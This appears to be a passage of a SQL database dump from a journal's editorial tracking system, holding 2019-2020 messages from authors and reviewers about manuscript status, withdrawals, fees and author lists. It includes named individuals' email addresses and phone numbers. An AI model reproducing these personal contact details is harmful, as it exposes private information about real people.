683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-a3s\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-aXjCH\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-m_5858814591803585966gmail-:rp\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-m_5858814591803585966gmail-ii\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-m_5858814591803585966gmail-gt\">\r\n<div\nid=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-m_5858814591803585966gmail-:sv\"\nclass=\"m_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-m_5858814591803585966gmail-a3s\nm_3907002953532795660gmail-m_5205560112839315477gmail-m_-2039420064290377094gmail-m_-8615323682693618153gmail-m_-5604342404528306383gmail-m_5829414881080891176gmail-m_4055650116956151686gmail-m_-2348119984664018244gmail-m_-6910311045746198662gmail-m_8642442493842177467gmail-m_7926111396706683220gmail-m_-8354608640474000712gmail-m_6562826968327153594gmail-m_-1305642628779740390gmail-m_8028176876666803196gmail-m_-9149596001253410743gmail-m_5904395713313155563gmail-m_7354763122979632223gmail-m_6193775844240565541gmail-m_-1615644556962294706gmail-m_5945555660697703974gmail-m_5466008599619158028gmail-m_5797860777552037448gmail-m_-6342172182484351691gmail-m_9158401307744683568gmail-m_5955802730551271642gmail-m_-9106327667228184852gmail-m_5858814591803585966gmail-aXjCH\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\">\r\n<div dir=\"ltr\"><span style=\"color: #000000;\">91- 98653 82450</span></div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n</div>\r\n<p>&nbsp;</p>',29,1052,3,'2019-09-10 06:40:40',0),(157,'Acknowledgment for the review not\nreceived','<p>Hi,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>This is Harleen Kaur. I recently reviewed the manuscript entitled&nbsp;<strong>TO ASSESS THE EFFECTIVENESS OF FUNDAL MASSAGE ON REDUCTION OF AFTER PAIN AMONG POSTNATAL MOTHERS&nbsp;</strong>for\nthis journal. However, I have not received the acknowledgment for the review. Kindly send the acknowledgment at my registered email id which is <a\nhref=\"mailto:harleen2212@gmail.com/\">harleen2212@gmail.com</a>.</p>\r\n<p>Regards,</p>\r\n<p>Harleen</p>',13,4584,3,'2019-09-10 07:40:20',0),(158,'Please remove Article','<p>Please remove my article Death withoit God from consideration for publication. I cannot afford the cost of publishing and did not fully understand those costs at submission.&nbsp;</p>\r\n<p>I sent the same request the day it was submitted and have not gotten confirmation.&nbsp;</p>\r\n<p>Please confirm.&nbsp;</p>',50,2482,1,'2019-09-10 15:49:27',1),(159,'Submission','<p>Goodmorning&nbsp;</p>\r\n<p>in order to the publication fee, unfortunately I must delete the submission.</p>\r\n<p>best regards</p>\r\n<p>&nbsp;</p>',5,2815,1,'2019-09-11 13:29:14',1),(160,'number of reviewers','<p>We only have one review to this manuscript. How many do we need\nbefore I can make a decision?</p>',77,251,2,'2019-09-11 18:49:10',0),(161,'Awaiting outcome','<p>Dear editors, I have sent my manuscript with the required revisions to this email to the 3rd of September. Kindly confirm receipt, and if there are any further revisions I should make.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you.</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards,</p>\r\n<p>Adele Lee</p>',21,339,1,'2019-09-12 09:12:33',1),(162,'reviewers comments','<p>The review refers to an attached document. Please send me a copy of\nthis.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you,</p>\r\n<p>&nbsp;</p>\r\n<p>Neil</p>',77,251,2,'2019-09-12 18:48:54',0),(164,'more time to revise the paper. ','<p>Please give me more time to revise the paper!</p>',767,2185,1,'2019-09-13 17:21:24',0),(165,' Review completed','<pre id=\"tw-target-text\" class=\"tw-data-text tw-text-large tw-ta\" dir=\"ltr\" data-placeholder=\"Traducci&oacute;n\"><span lang=\"en\">Dear editor, I have finished the review. If you need anything let me\nknow.\r\nGreetings.</span></pre>',26,7493,3,'2019-09-14 16:04:56',0),(169,'Article ipaom-19-917','<p>The reviewer did not suggest any changes. How should I proceed. I also have no changes to make.</p>',85,1081,1,'2019-09-19 16:59:38',1),(171,'Manuscript ipp-19-1317','<p>Dear Editor,</p>\r\n<p>I have access to the abstract only. Please provide the full manuscript for review.</p>\r\n<p>G.Pupelis&nbsp;</p>',21,8649,3,'2019-09-20 20:42:48',1),(172,'Review manuscript 19-347','<p>Dear Editor,</p>\r\n<p>I am trying from the Action links-view submission to download the article but&nbsp; I get only the Abstract and the Keywords</p>\r\n<p>Would you be so kind to email me the full article in order to review it</p>\r\n<p>Thank you very much in advance</p>\r\n<p>Anastasios katsourakis MD, PhD</p>',21,8647,3,'2019-09-21 14:06:27',1),(173,'Problem to submit a reviewed version. ','<p>Dear Dr,</p>\r\n<p>I have received the reviewers remarks about our article of cholrecysto-hydatid cyst fistula, but now after sign in my accout i have not found the links to submit the reviewed version. I send this\ne-mail because we are anxious about the dea</p>',21,2591,1,'2019-09-23 22:59:28',1),(174,'Manuscript ipp-19-77','<p>Letter to the Editorial Office</p>\r\n<p>&nbsp;The manuscript &ldquo;Prognostic factors in patients with\npancreatic adenocarcinoma and the impact of pancreatic fistula on\noncologic outcomes&rdquo; is aimed to determine new prognostic factors\nassociated with the treatment and outcome of pancreatic cancer. The\nretrospective type of analysis included 226 patients who underwent\npancreatic resections in a single institution. The authors have\nanalysed their experience, however lack of data regarding the adjuvant\nor neoadjuvant therapy and focus on surgical treatment only, is a\nserious drawback. The other minus is a very poor description of the\npreoperative diagnosis, and not convincingly reported results of\nstaging.</p>\r\n<p>It is hard to believe that the outcomes are not associated with the\nresection line purity as the local recidive is the most often type of\nprogression following with the metastatic development. The analysis of\ndifferent prognostic scores and ratio are of relative value.<br /> Due\nto the insufficient data, the conclusions about the importance of\nprognostic factors are not convincing.</p>\r\n<p>&nbsp;</p>\r\n<p>In conclusion</p>\r\n<p>The manuscript is focused on an important issue and shares a good\nexperience of the surgical treatment of pancreatic cancer. The lack of\nstatistically significant relation between postoperative fistula rate\nand outcomes are worthy of publication. The multiple variables\nincluded in the multivariate analysis are not providing substantial\nevidence for the conclusion about prognostic factors.</p>\r\n<p>Kind regards</p>\r\n<p>G.Pupelis</p>',21,36,2,'2019-09-24 15:40:59',1),(175,'acceptance letter','<p><span>Dear madam/sir,</span></p>\r\n<div>Last article we have published in the same journal.&nbsp; Please share acceptance letter on link that make me easy to download from site (<a\nhref=\"author.php\">http://www.imedpub.com/editorial-tracking/author.php</a>). we had paid only 500EUR. Please make the consecration. I will give you more manuscript for publication.</div>',376,2526,1,'2019-09-24 23:37:17',1),(177,'Regarding revised manuscript','<p>I have sent the revised manuscipt after making the necessary modifications as suggested by the reviewer. All the modifications suggested by the reviewer have been</p>\r\n<p>carried out. I was not able to submit the revised manuscipt as a single file, hence&nbsp; I have submitted it as two separate files. The first file contains the introduction,abstract, case\nreport,&nbsp;</p>\r\n<p>discussion, conclusion and bibliography. The second file contains the figures and legens for the figures. Thank you.</p>',21,2771,1,'2019-10-13 23:17:04',1),(179,'Not able to submit recommendations after\nreview.','<p><br data-mce-bogus=\"1\"></p>',21,8645,3,'2019-10-19 22:59:00',1),(180,'Kindly inform about the current status\nof our Manuscript ijddr-19-2591','<p>Respected Editor,</p>\r\n<p>We have submited our article almost one month back.</p>\r\n<p>Kindly inform us if any development took palce from reviewer end.&nbsp;</p>\r\n<p>Thanks for your understanding.&nbsp;&nbsp;</p>\r\n<p>Sicerely Yours:</p>\r\n<p>Sankha Bhattacharya&nbsp;</p>',376,3331,1,'2019-10-21 23:26:27',1),(181,'Manuscript Status','<p>Dear Editorial Office,</p><p>Please update about the manuscript status entitled Zinc solubilizing fluorescent PSeudomonads as biofertilizers for tomato in controlled\nconditions.&nbsp;<br></p><p>Thank you</p>',101,3367,1,'2019-10-22 10:11:51',1),(183,'RESPONSE  TO REVIEWERS COMMENT','<p>Hi sir/madam,</p>\r\n<p>Attaching my response to reviewers comment as an attached document . Thanks.</p>\r\n<p>Dr.Vasudeva Pai. Hosdurg.</p>',21,1388,1,'2019-10-25 22:20:35',1),(185,'Not able to submit review. Site says\nblocked!!!','<p>Hi&nbsp;</p>\r\n<p>This is Dr Pranav Sharma. I am not able to submit review for this article (ipp-19-2065).</p>\r\n<p>The review date is till Nov 10 2019. Please support.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>\r\n<p>Pranav Sharma</p>\r\n<p>drpranavsharma29@gmail.com</p>',21,8645,3,'2019-11-03 05:42:43',1),(186,'status of my paper','<p>Dear Editor,</p>\r\n<p>May I kow the status of my paper?</p>\r\n<p>Thanks</p>\r\n<p>regards</p>\r\n<p>M.Umaiyal</p>',101,988,1,'2019-11-06 21:32:39',1),(187,'Regarding revised manuscript','<p>Sir, Kindly let me knowt the status of my manuscipt.</p>\r\n<p>Sincerely,</p>\r\n<p>Dr.Viyannan.</p>',21,2771,1,'2019-11-08 21:25:21',1),(191,'Guava wilt a Multidimensional malady-\nRole of Guava Stem borer and concomitant\nfungi in effecting the pathogenic\nprocess in India','<p>Sir</p>\r\n<p>With reference to the above Iam to submit that the said manuscript(No:iprjpp-19-2893) was submitted on 07.11.2019.I would be extremly grateful if the current status with regard to its publication\nis conveyed at your convinient date.</p>\r\n<p>With kind regards</p>\r\n<p>Rashid M.Khan</p>',835,3752,1,'2019-11-18 17:15:39',1),(194,'the article','<p>Dear editor</p>\r\n<p>We sent a lot of message which we want to withdrew the manuscript because we dont have money to pay for its acceptance but you dont answer any of them. dont continue rewieing because we are\nbroke.</p>\r\n<p>thank you very much</p>\r\n<p>sincerely</p>',370,3516,1,'2019-11-25 04:37:13',1),(196,'Revision ','<p>Thank you for the comments, I have made the neccessary changes and am ready to move forward.&nbsp;</p>',400,3908,1,'2019-12-04 19:22:25',1),(197,'Manuscript No: IPCTN-19-2736.','<div>Dear Dr. Cyrene ,</div>\r\n<div>I sent the approval of the article in object, but it came back to me, so I send it again for more security.</div>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<p><strong><span style=\"text-decoration: underline;\">ARTICLE APPROVED PLEASE PROCEEDED</span></strong></p>\r\n<div>&nbsp;</div>\r\n<div>Tanks you</div>\r\n<div class=\"yj6qo ajU\">&nbsp;Bruno Riccardi</div>',910,3537,1,'2019-12-06 13:16:28',1),(198,'Investigation of socioeconomic inequalities in health-related quality of life across Europe: A systematic review','<p>Good evening,</p>\r\n<p>I have just sent the response to the author requesting another\nrevision. The first one was insufficient for me.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely,&nbsp;</p>\r\n<p>Dennis</p>',50,1254,2,'2019-12-10 22:29:15',1),(201,'Re: Update','<p>Dear Editor,</p>\r\n<p>Hope all is going well.</p>\r\n<p>I am writing to check on the status of our manuscript for pancreatic carcinosarcoma. We appreciate any update.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p>Albert Alhatem</p>',21,3892,1,'2019-12-19 23:48:22',1),(202,'print journal publication','<p>hello sir, i want to publish in print journal so i dont want my article for further processing.</p><p><br></p><p>regards,</p><p>aliya.</p>',400,3998,1,'2019-12-20 19:44:52',1),(203,'Withdrawal Request ','<p>Dear Sir/ Madam,</p>\r\n<p>I have submitted a manuscript entitled \"Heavy Metal Accumulation in Sediments of Tropical Aquatic Ecosystems: The case of Awetu Watershed of southwestern Ethiopia\".</p>\r\n<p>Due to authors raised to be revised the manuscript well and address additional issues, I&rsquo;m requesting to withdraw process the editorial process in your journal.</p>\r\n<p>&nbsp;</p>',352,3990,1,'2019-12-21 14:08:00',1),(205,'Withdrawing the paper','<p>Dear Publisher, greetings.</p>\r\n<p>Please withdraw my papers.</p>\r\n<p>Thank you.</p>',101,3448,1,'2019-12-23 17:06:56',1),(206,'Withdrawing the articles','<p>Dear sir/madam.</p>\r\n<p>Greetings.</p>\r\n<p>Please withdraw my research articles.</p>\r\n<p>Thank you!</p>',101,3448,1,'2019-12-23 17:08:55',1),(207,'decision','<p>the decision is minor revision</p>',85,1291,2,'2019-12-30 14:35:24',1),(209,'request for speedy processing of the\nmanuscript','<p><span><span>Dear Editor(s),    </span><br /><br /><strong>manuscript title:-&nbsp;<span>Intrastent coronary pseudoaneurysm in the setting of primary angioplasty: an early\npresentation</span></strong></span></p>\r\n<div>reference&nbsp;number :-&nbsp;<strong>ipic-19-3015</strong></div>\r\n<p><span>we had submitted the above manuscript 2 months back, but still no further processing of the same has been initiated till date. therefore please look into the matter urgently and assign a\nreviewer for the manuscript at its earliest.</span><span>&nbsp;</span></p>\r\n<p><span>thanks.</span></p>\r\n<p><span>&nbsp;</span></p>\r\n<p><span>Dr ANKIT KUMAR SAHU</span></p>\r\n<p><span>corresponding author (manuscipt id :-&nbsp;<span>ipic-19-3015)</span></span></p>',979,3939,1,'2020-01-09 11:06:38',1),(210,'Mistake to send the files: response to\nreviewers and revised version document.','<p>Sorry but I have ready the new version of the manuscript and the response to reviewers, however, I had a mistake to moment of upload the files: it is possible to send these files\nnewly?</p><p>Sincerely,</p><p>Martha Montaño</p>',370,3864,1,'2020-01-16 09:26:56',1),(213,'Waiting for decision on my manuscript.','<p>Respected editors,</p>\r\n<p>I have submitted a manuscript in your journal. The manucript ID is&nbsp;<span>ajpsky-19-2969. This is my 4th or 5th mail regarding the questions on the response of reviewer on the decision of my\nmanucript. It been so long i am waiting for the decision on my manuscript. Should i submit my manuscript on another journal with your permission if the decision will take time?</span></p>\r\n<p><span>An early response will be highly oblized.</span></p>',101,3870,1,'2020-01-22 13:12:34',1),(215,'Submission of corrected version of our\narticle','<p>Dear editor,</p>\r\n<p>I have uploaded the reversed article on this platform as recommended.</p>\r\n<p>&nbsp;</p>\r\n<p>Michael Promise Ogolodom</p>',85,4284,1,'2020-02-03 21:52:56',1),(217,'Invoice Request- Manuscript\nijddr-20-3178','<p><span>Dear Mr/Ms Angelina</span></p>\r\n<div>I have sent multiple emails requesting for an invoice to process the payment.&nbsp;</div>\r\n<div>My institution needs an invoice to validate and approve the payment.</div>\r\n<div>&nbsp;</div>\r\n<div>Looking forward to the receipt of the invoice</div>\r\n<div>&nbsp;</div>\r\n<div>Osman Patel</div>',376,4159,1,'2020-02-10 01:45:27',1),(218,'about the manuscript','<p>Dear editor：</p>\r\n<p>I wander whether our manuscript is accepted or reject. Could you please send us a decision letter. My e-mail is <a href=\"mailto:jin_lf@126.com\">jin_lf@126.com</a>.</p>\r\n<p>Thanks for you kindly reply.</p>\r\n<p>Lifeng Jin</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',167,4086,1,'2020-02-16 18:51:13',1),(220,'the final decision','<p>Dear editor，</p>\r\n<p>Could you please give me a formal decision by e-mail about the manuscript of &ldquo;Isopentenyl Phosphate Kinases are Ubiquitous and Copy Numbers are Conserved in Plant Genomes&rdquo;，and my\ne-mail is <a href=\"mailto:jin_lf@126.co\">jin_lf@126.co</a>m.</p>\r\n<p>expecting your reply！</p>\r\n<p>Best wishes！</p>\r\n<p>Lifeng Jin</p>',167,4086,1,'2020-02-19 19:03:20',1),(221,'Review of manuscript','<p>Hello,</p><p>It has now been more than 7 weeks since we submitted our manuscript for review and consideration for publication. We believe this is a concise manuscript with straight-forward\nstatistics and conclusions and were hoping that we would receive a response within this time frame. If there are aspects of the paper causing a delay which we can address, please inform us and we will\ndo so.&nbsp; If it will not be possible to review the manuscript shortly, please allow us to submit it to another journal for their consideration. Thank you for your time and attention.</p><p>Very\nSincerely,</p><p><br></p><p>Loren A Rolak, MD</p>',75,4125,1,'2020-02-23 02:52:22',1),(222,'Guava wilt a Multidimensional malady-\nRole of Guava Stem borer and concomitant\nfungi in effecting the pathogenic\nprocess in India','<p>Sir</p>\r\n<p>With reference to the above,I am to submit that the said manu7script was submitted in November(7.11.2019).I would be grateful if the status about the same is made knowm.</p>\r\n<p>Thanks</p>\r\n<p>Rashid M.Khan</p>\r\n<p>.</p>',835,3752,1,'2020-02-23 19:52:49',1),(223,'Guava wilt a Multidimensional malady-\nRole of Guava Stem borer and concomitant\nfungi in effecting the pathogenic\nprocess in India','<p>Sir</p>\r\n<p>I gratefully acknowledge the reply with reference to the subject cited above.It has been more than three months since the submission of manuscript.I would be extremly oblidged if the decision is\ntaken about its suitability for your journal at the earliest convinivinient date.</p>\r\n<p>Rashid M.Khan</p>',835,3752,1,'2020-02-24 12:36:46',1),(224,'Correction in the final copy-regarding','<p>There is a mistake of interchanging the tables in my article generated by your team. Table 3b is interchanged with table 3c and for reference go my submitted file folder and Kindly make the\ncorrections.&nbsp;</p>',93,4308,1,'2020-02-24 22:18:47',1),(227,'Delay in manuscript review','<p>Hello,</p><p>I hope you are in receipt of my previous email expressing concern about the lack of response from your reviewers of our manuscript submitted on January 3. Please inform us if you will\nbe reaching a decision soon, You may reply to: <a href=\"mailto:rolak@charter.net\">rolak@charter.net</a> and <a href=\"mailto:rolak.loren@marshfieldclinic.org\">rolak.loren@marshfieldclinic.org</a> .\nThank you.</p><p><br></p><p>Loren A Rolak MD</p>',75,4125,1,'2020-02-26 07:45:27',1),(230,'Factores asociados a recaída en\npacientes leucemia linfoblastica aguda ','<p>Buenas noches,</p>\r\n<p>mi nombre es Rina Medina, el 2 de febrero mande un trabajo de investigaci&oacute;n para considerarse para publicaci&oacute;n pero no he recibido ninguna noticia quisiera saber c&oacute;mo va el\nporoceso onsi ser&aacute; aceptado. De antemano muchas gracias por su colaboraci&oacute;n&nbsp;</p>\r\n<p>atentamente&nbsp;</p>\r\n<p>Rina Medina&nbsp;</p>\r\n<p><a href=\"mailto:rina_alejandta@icloud\">rina_alejand</a><a href=\"mailto:ra@outlook.com\">ra@outlook.com</a>&nbsp;</p>',274,4339,1,'2020-03-01 09:10:39',1),(231,'about the publishing fee and the changes\nof author','<p>Dear editor,</p>\r\n<p>I am sorry for the later reply. Because the outbreak of novel coronavirus pnuemonia, we had to delay our resuming work. And the colleagues of the finance department work only two days a week, so\nmany expense applications are being postponed. we will complete the payment as soon as our application has been approve. </p>\r\n<p>And we want to change some author of paper, do we have enough time?</p>',167,4086,1,'2020-03-06 08:57:32',1),(232,'changed authors information！','<p><span style=\"font-size: large;\">Dear editor，</span></p>\r\n<p><span style=\"font-size: large;\">This manuscript authors information changed as below，thanks for your kindly comprehension. And the payment proceduress are in&nbsp; progress.</span></p>\r\n<p>Ben Hu<sup>1,2#</sup>, Heng Yao<sup>3</sup><sup>#</sup>, Yanxiang Li<sup>2</sup>, Yulong Gao<sup>3</sup>, Ran Wang<sup>1</sup>, Feng Li<sup>1</sup>, Zefeng Li<sup>1</sup>, Lifeng\nJin<sup>1</sup>*</p>\r\n<p>1&nbsp;&nbsp;Zhengzhou Tobacco Research Institute of CNTC, Zhengzhou 450001, China</p>\r\n<p>2&nbsp;&nbsp;Bejie Branch of Guizhou Tobacco Corporation, Bijie 551700, China</p>\r\n<p>3&nbsp;&nbsp;Yunnan Academy of Tobacco Agricultural Sciences, Kunming 650021, China</p>\r\n<p>#Both authors contributed equally to this work.</p>\r\n<p><sup>*</sup>Corresponding author:&nbsp;Lifeng Jin, Email: jin_lf@126.com&nbsp;&nbsp;Tel: 13592582785</p>\r\n<p><span style=\"font-size: large;\">Best wishes to you!</span></p>\r\n<p><span style=\"font-size: large;\">Lifeng Jin</span></p>',167,4086,1,'2020-03-09 08:08:06',1),(233,'about the author affiliation','<p>The secend affiliation \"<strong><em>Bejie</em> </strong>Branch of Guizhou Tobacco Corporation, Bijie 551700, China\" <span style=\"font-size: large;\">should be</span>&nbsp;\n\"<strong><em>Bijie</em></strong> Branch of Guizhou Tobacco Corporation, Bijie 551700, China\"</p>',167,4086,1,'2020-03-09 11:39:53',1),(236,'cancelling','<p>I would like to cancel article from submission</p>',50,4480,1,'2020-03-12 15:45:51',1),(238,'about the correct author','<p>Dear editor<span style=\"font-family: 宋体;\">，</span></p>\r\n<p>Thanks for your prompt reply and send me the corrected revision. But I am afraid of there still a tiny adjust about the author sequence (please use this sequence:<strong>Ben Hu, Heng Yao, Yanxiang\nLi, Yulong Gao, Ran Wang, Feng Li, Zefeng Li and Lifeng Jin</strong><strong>). </strong>Thanks for you kindly help.</p>\r\n<p>And we have apply an emergency about the publish fee. So I believe the payment will be finished in two weeks.</p>\r\n<div>best wishes to you!</div>\r\n<p>Lifeng Jin</p>',167,4086,1,'2020-03-18 07:41:02',1),(240,'Guava wilt a Multidimensional malady-\nRole of Guava Stem borer and concomitant\nfungi in effecting the pathogenic\nprocess in India','<p>Sir</p>\r\n<p>With reference to the above I would request that current status of the said paper may kindly be apprised.</p>\r\n<p>Thanks and Regards</p>\r\n<p>Dr.Rashid M.Khan</p>\r\n<p>Lucknow</p>',835,3752,1,'2020-03-20 18:17:57',1),(241,'about the publishing fee','<p>Dear editor,</p>\r\n<p>I am sorry to delay to pay the publishing fee to you. I am glad to tell you that the publishing fee has been approved and I can complete the payment in one day.</p>\r\n<p>But I am sorry to find the manuscript &ldquo;<strong>Isopentenyl Phosphate Kinases are Ubiquitous and Copy Numbers are Conserved in Plant Genomes</strong>&rdquo;&nbsp;current statute is still\nrejected article. Could you please the statute of the paper. And another requirement is adjust about the author sequence&nbsp;(please use this sequence:</p>\r\n<p>Ben Hu<sup>1,2#</sup>, Yanxiang Li<sup>2#</sup>, Yulong Gao<sup>3</sup>,Heng Yao<sup>3</sup>&nbsp;,Ran Wang<sup>1</sup>, Feng Li<sup>1</sup>, Zefeng Li<sup>1</sup>, Lifeng Jin<sup>1*</sup></p>\r\n<p>1 &nbsp;Zhengzhou Tobacco Research Institute of CNTC, Zhengzhou 450001, China</p>\r\n<p>2 &nbsp;Bejie Branch of Guizhou Tobacco Corporation, Bijie 551700, China</p>\r\n<p>3 &nbsp;Yunnan Academy of Tobacco Agricultural Sciences, Kunming 650021, China</p>\r\n<p>#Both authors contributed equally to this work.</p>\r\n<p>*Corresponding author: Lifeng Jin, Email: jin_lf@126.com &nbsp;Tel: 13592582785</p>\r\n<p>I will complete the payment with one day once we get the final vision of paper. Because the &nbsp;colleagues of finance department pay the money to me only when they find the formal vision of the\npaper. I thanks for you understanding.</p>',167,4086,1,'2020-03-29 15:57:53',1),(243,'waiting for your response','<p>Dear editor,</p>\r\n<p>I hope your journal have not effect by the the spread of COVID-19. I sent an e-mail to you yesterday. We hope to change the author information of the paper and complete the publishing fee as soon\nas possible. If you have received my mail, could you please give me reply.</p>\r\n<p>Best wishes!</p>\r\n<p>Lifeng Jin</p>\r\n<p><a href=\"mailto:Jin_lf@126.com\"><span style=\"text-decoration: underline;\">Jin_lf@126.com</span></a></p>',167,4086,1,'2020-03-31 11:56:57',1),(245,'the final pdf paper','<p>Dear editor,</p>\r\n<p>I am waiting for you response！</p>\r\n<p><a href=\"mailto:jin_lf@126.co\">jin_lf@126.co</a>m</p>',167,4086,1,'2020-04-01 16:22:15',1),(246,'about the payment','<p>Dear editor</p>\r\n<p>I have try to pay the publication fee on-line about the manuscript(Isopentenyl Phosphate Kinases are Ubiquitous and Copy Numbers are Conserved in Plant Genomes). But I can&rsquo;t finish it. Could\nyou please send me an useful link to complete the payment.</p>\r\n<p>Thanks for your help.</p>\r\n<p>Lifeng Jin</p>',167,4086,1,'2020-04-03 08:16:22',1),(247,'about the manuscript','<p>I have completed&nbsp;the publishing fee of the manuscript&nbsp;(Isopentenyl Phosphate Kinases&nbsp;are Ubiquitous and Copy Numbers are Conserved in Plant Genomes). And I hope you can change the\nstatute of manuscript in your journal website and hope you can change the author as our requires. And please send us the final formal paper and the current issue to me.</p>\r\n<p>By the way, could you please send us an detail list of the academic institutes which cite or includ you journal.</p>\r\n<p>Best wishes to you!</p>\r\n<p>Lifeng Jin</p>',167,4086,1,'2020-04-03 18:45:09',1),(248,'Submission Withdrawal','<p>Good Day,</p>\r\n<p>Sorry For The Inconvienience But i Have Sent A Previous Email For Withdrawal Of My Submission \" CXCR4 is a valuable poor prognostic marker for CLL: Its higher level of expression is associated with\ninferior response to therapy, lower disease-free survival\", Thanks For Everything.</p>\r\n<p>Mostafa El Razzaz</p>',85,4746,1,'2020-04-03 23:33:52',1),(249,'withdrawal ','<p>Hello&nbsp;</p>\r\n<p>I would like to withdraw my submission because I will not be able to pay the fee required.&nbsp;</p>\r\n<p>Regards</p>',878,4838,1,'2020-04-04 14:54:39',1),(250,'Article withdrawal','<p>Dear Edidtorial board</p>\r\n<p>I understand my article has some limitations and not ready for publication yet.</p>\r\n<p>I want to address those and do not want to proceed with the revision submission and hence article publication.</p>\r\n<p>&nbsp;</p>\r\n<p>Kind regards</p>\r\n<p>Saima</p>',85,4594,1,'2020-04-05 18:28:11',1),(253,'Withdrawal of the submission ','<p>Hello , I sent an email to withdrawa the submission couple of days ago , I hope the that was done . Thank you and sorry to bother you .&nbsp;</p>',85,4903,1,'2020-04-10 19:26:28',1),(257,'reviewer selection','<p>Here it follows the list of experts in the field of the maniscript\nthatt may review the 